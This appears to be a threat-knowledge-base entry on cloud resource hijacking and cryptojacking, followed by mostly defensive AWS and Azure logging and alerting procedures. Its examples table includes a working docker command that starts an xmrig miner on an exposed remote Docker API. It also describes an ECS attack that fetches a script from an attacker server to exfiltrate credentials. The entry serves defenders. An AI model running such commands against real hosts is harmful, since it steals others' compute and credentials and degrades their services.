Resource Hijacking (version 1.0)

**Cloud Service Label: IaaS, PaaS**

Description

Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability.

One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive. Servers and cloud-based systems are common targets because of the potential for nearly unlimited resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.

Examples

|  |  |
| --- | --- |
| **Name** | **Description** |
| Rhino Security Labs Blog Post (Pacu Tool) | This blog post outlines an attack where an adversary starts with a low-level role with access to ECS and then finds a task role that has permissions that are elevated to what they need. A task definition is edited to be malicious and run a command to pull a shell script from a server being hosted by the adversary. A shell script payload to exfiltrate credentials is created and then using the AWS CLI is used to run a command that is used to run the malicious task definition, this is done using run-task API. The adversary can then receive exfiltrated credentials and use them to continue attacks. |
| Cryptojacking Campaign | On November 24, 2019, a cryptojacking campaign exploited Docker API endpoints to mine Monero. This was done by deploying an Alpine Linux OS container to the exposed Docker API that runs a malicious script from the attackers’ servers and installs a Monero miner. Launching a mining container is as easy as *docker -H 192.168.1.7:2376 run --restart unless-stopped --read-only -m 50M -c 512 bitnn/alpine-xmrig-o POOL01 -o POOL02 -u WALLET -p PASSWORD -k* |

Mitigations

|  |  |
| --- | --- |
| **Mitigation** | **Description** |
| Limit Resource Requests | Clouds have quota systems that can be used to limit the damage of an adversary requesting large amount of resources in a certain region. |

Detection

|  |  |
| --- | --- |
| **Detection** | **Description** |
| Create Log Metric Filters and Alarms for AWS | To create a metric filter and alarm:   1. Create a metric filter that checks for IAM policy changes and the *<cloudtrail\_log\_group\_name>* 2. Create an SNS topic 3. Create an SNS subscription to the above topic 4. Create an alarm associated with the filter and SNS topic created in steps 1 and 2 respectively |
| Monitor Activity in AWS Account | Various services in AWS offer logging features that allow for detection capabilities. These include CloudFront, CloudTrail, CloudWatch, Config, and S3. |
| Monitor for Suspicious Activity in Azure | Azure AD can generate anomaly reports than can be run on a daily basis. Azure AD Identity Protection show current risks in its dashboard and provides daily email summary notifications. Policies can also be configured to alert to specific issues. |
| Create Log Metric Filters and Alarms for CloudTrail | To create a metric filter and alarm:   1. Create a filter that checks for CloudTrail changes and the specific *<cloudtrail\_log\_group\_name>* 2. Create an SNS topic that the alarm will notify 3. Create an SNS subscription to the above topic 4. Create an alarm associated with the filter from step 1 and SNS topic in step 2 |
| Create Activity Log Alerts in Azure | To create log activity alerts for deletion in the Azure Console:   1. Navigate to *Monitor’ / ‘Alerts* 2. Select *Manage alert rules* 3. Click on the Alert *Name* where Condition contains *operationName equals Microsoft.Network/networkSecurityGroups/securityRules/delete* 4. Hover a mouse over *Condition* to ensure it is set to *Whenever the Administrative Activity Log “Delete Security Rule (networkSecurityGroups/securityRules)” has “any” level with “any” status and event is initiated by “any*” |
| Create, View, and Manage Activity Alerts in Azure Monitor | To create a log alert in the Azure portal:   1. Select **Monitor -> Alerts** 2. Select **New alert rule** of the **Alerts** window 3. Provide information in **Define alert condition** 4. Provide details in **Define alert details** 5. Specify action group for new alert rule under **Action group**, or create a new action group with + **New group** 6. Select **Yes** for the **Enable rule upon creation** option 7. Select **Create alert rule**   To view and manage alerts:   1. Select **Monitor -> Alerts -> Manage alert rules** 2. Select the rule you want to modify and double-click to edit the rule options 3. Click **Save** |
| Azure Resource Manager Templates | Azure Resource Manager templates in the format of JSON files that can be used to configure metric alerts in Azure Monitor. These templates can be used for simple static and dynamic threshold metric alerts, availability tests, and monitoring multiple resources. |
| Enable CloudTrail across all regions in AWS | To enable CloudTrail across all regions:   1. Sign into the AWS Management Console and open the CloudTrail console 2. Click on *Trails* 3. Set necessary Trails to All option in the I column 4. Click on a trail via the link *Name* column 5. Set *Logging* to *ON* 6. Set *Apply trail to all regions* to *Yes* |
| Configure log profile to capture activity logs for all regions in Azure | To set up activity logs for all regions:   1. Navigate to Azure console 2. Go to *Activity log* 3. Select *Export* 4. Select *Subscription* 5. Check *Select all* in *Regions* 6. Select *Save* |
| Monitoring for Regional Activity | Tools like Splunk or even CloudSploit have the ability to alert based on region and ingest CloudTrail logs. In CloudSploit, a plugin called EC2 Max Count can be configured to alert after a certain threshold of EC2 instances is met. Real-Time Events service is another feature of CloudSploit that allows alerts for activity in unused regions. |

References

1. <https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124>. Accessed July 14, 2020.